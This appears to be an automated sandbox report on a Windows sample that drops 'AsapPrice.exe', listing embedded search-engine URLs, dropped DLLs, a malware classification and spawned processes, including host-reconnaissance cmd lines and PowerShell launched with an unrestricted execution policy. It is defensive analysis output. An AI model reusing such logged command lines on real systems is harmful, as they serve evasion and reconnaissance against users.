Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://vn.search.yahoo.com/favicon.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://vn.search.yahoo.com/favicon.icohttps://vn.search.yahoo.com/search
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://vn.search.yahoo.com/search
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://vn.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.amd.com/en/support/apu/amd-series-processors/amd-a8-series-apu-for-laptops/a8-5550m-rade
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.ask.com/web?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.baidu.com/#ie=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.baidu.com/favicon.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.baidu.com/favicon.icohttps://www.baidu.com/#ie=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.cisco.com/c/en/us/about/legal/privacy-full.html
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.delfi.lt/favicon.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.delfi.lt/favicon.icohttps://www.delfi.lt/paieska/?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.delfi.lt/paieska/?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.ecosia.org/newtab/(
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.ecosia.org/search?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.givero.com/favicon.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.givero.com/favicon.icohttps://www.givero.com/search?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.givero.com/search?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.givero.com/suggest?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.info.com/serp?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.info.com/static/www.info.com/favicon.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.info.com/static/www.info.com/favicon.icohttps://www.info.com/serp?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.intel.com/content/www/us/en/download-center/home.html
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.nic.cz/odvr/
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.nic.cz/odvr/CZ.NIC
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.privacywall.org/images/favicon_32x32.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.privacywall.org/images/favicon_32x32.icohttps://www.privacywall.org/search/secure/?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.privacywall.org/search/secure/?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.quad9.net/home/privacy/
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.quad9.net/home/privacy/Quad9
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.qwant.com/?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.qwant.com/favicon.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.qwant.com/favicon.icohttps://www.qwant.com/?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.so.com/favicon.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.so.com/favicon.icohttps://www.so.com/s?ie=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.so.com/s?ie=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.sogou.com/images/logo/old/favicon.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.sogou.com/images/logo/old/favicon.icohttps://www.sogou.com/web?ie=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.sogou.com/web?ie=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.yandex.by/chrome/newtab
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.yandex.com.tr/
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.yandex.com.tr/chrome/newtab
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.yandex.kz/chrome/newtab
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.yandex.ua/chrome/newtab
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.zoznam.sk/favicon.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://yandex.by/
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://yandex.by/images/search/?rpt=imageview
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://yandex.by/images/search/?rpt=imageviewhttps://www.yandex.by/chrome/newtabhttps://storage.ape
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://yandex.com.tr/gorsel/search?rpt=imageview
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://yandex.com.tr/gorsel/search?rpt=imageviewhttps://www.yandex.com.tr/chrome/newtab
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://yandex.com/images/search?rpt=imageview
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://yandex.com/search/?text=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://yandex.kz/
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://yandex.kz/images/search/?rpt=imageview
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://yandex.kz/images/search/?rpt=imageviewhttps://www.yandex.kz/chrome/newtab
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://yandex.ua/
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://yandex.ua/images/search/?rpt=imageview
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://yandex.ua/images/search/?rpt=imageviewhttps://www.yandex.ua/chrome/newtab
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://yastatic.net/lego/_/pDu9OWAQKB0s2J9IojKpiS_Eho.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://yastatic.net/lego/_/pDu9OWAQKB0s2J9IojKpiS_Eho.icohttps://yandex.by/
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://yastatic.net/lego/_/rBTjd6UOPk5913OSn5ZQVYMTQWQ.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://yastatic.net/lego/_/rBTjd6UOPk5913OSn5ZQVYMTQWQ.icohttps://yandex.com/search/?text=
Source: unknownNetwork traffic detected: HTTP traffic on port 49713 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49717
Source: unknownNetwork traffic detected: HTTP traffic on port 49717 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49713
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmpBinary or memory string: RegisterRawInputDevices() failed for RIDEV_REMOVEmemstr_2f9cdb1c-0

System Summary

barindex
Drops large PE files
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeFile dump: AsapPrice.exe.1.dr 160143360Jump to dropped file
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeFile dump: AsapPrice.exe0.1.dr 160143360Jump to dropped file
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeProcess token adjusted: SecurityJump to behavior
Source: AsapPrice.exe0.1.drStatic PE information: Number of sections : 15 > 10
Source: libEGL.dll.1.drStatic PE information: Number of sections : 11 > 10
Source: vulkan-1.dll0.1.drStatic PE information: Number of sections : 11 > 10
Source: libGLESv2.dll0.1.drStatic PE information: Number of sections : 11 > 10
Source: vk_swiftshader.dll.1.drStatic PE information: Number of sections : 11 > 10
Source: vk_swiftshader.dll0.1.drStatic PE information: Number of sections : 11 > 10
Source: vulkan-1.dll.1.drStatic PE information: Number of sections : 11 > 10
Source: libGLESv2.dll.1.drStatic PE information: Number of sections : 11 > 10
Source: libEGL.dll0.1.drStatic PE information: Number of sections : 11 > 10
Source: AsapPrice.exe.1.drStatic PE information: Number of sections : 15 > 10
Source: LN1lgDlZ8e.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: classification engineClassification label: mal48.evad.winEXE@80/169@3/3
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeFile created: C:\Users\user\AppData\Roaming\rklxrvvcdpfnpeocJump to behavior
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:988:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5740:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2072:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6276:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5724:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6440:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5692:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1616:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1820:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4568:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:420:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6432:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5956:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3492:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5096:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8008:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7984:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7516:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5320:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4944:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2340:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4600:120:WilError_03
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeFile created: C:\Users\user\AppData\Local\Temp\nsy695A.tmpJump to behavior
Source: LN1lgDlZ8e.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeFile read: C:\Users\desktop.iniJump to behavior
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeFile read: C:\Users\user\Desktop\LN1lgDlZ8e.exeJump to behavior
Source: unknownProcess created: C:\Users\user\Desktop\LN1lgDlZ8e.exe "C:\Users\user\Desktop\LN1lgDlZ8e.exe"
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeProcess created: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "chcp"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe "C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\rklxrvvcdpfnpeoc" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1880 --field-trial-handle=1892,i,4662631263647050238,13789248790840168328,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "echo %COMPUTERNAME%.%USERDNSDOMAIN%"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe "C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\rklxrvvcdpfnpeoc" --mojo-platform-channel-handle=2196 --field-trial-handle=1892,i,4662631263647050238,13789248790840168328,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "findstr /C:"Detected boot environment" "%windir%\Panther\setupact.log""
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\findstr.exe findstr /C:"Detected boot environment" "C:\Windows\Panther\setupact.log"
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
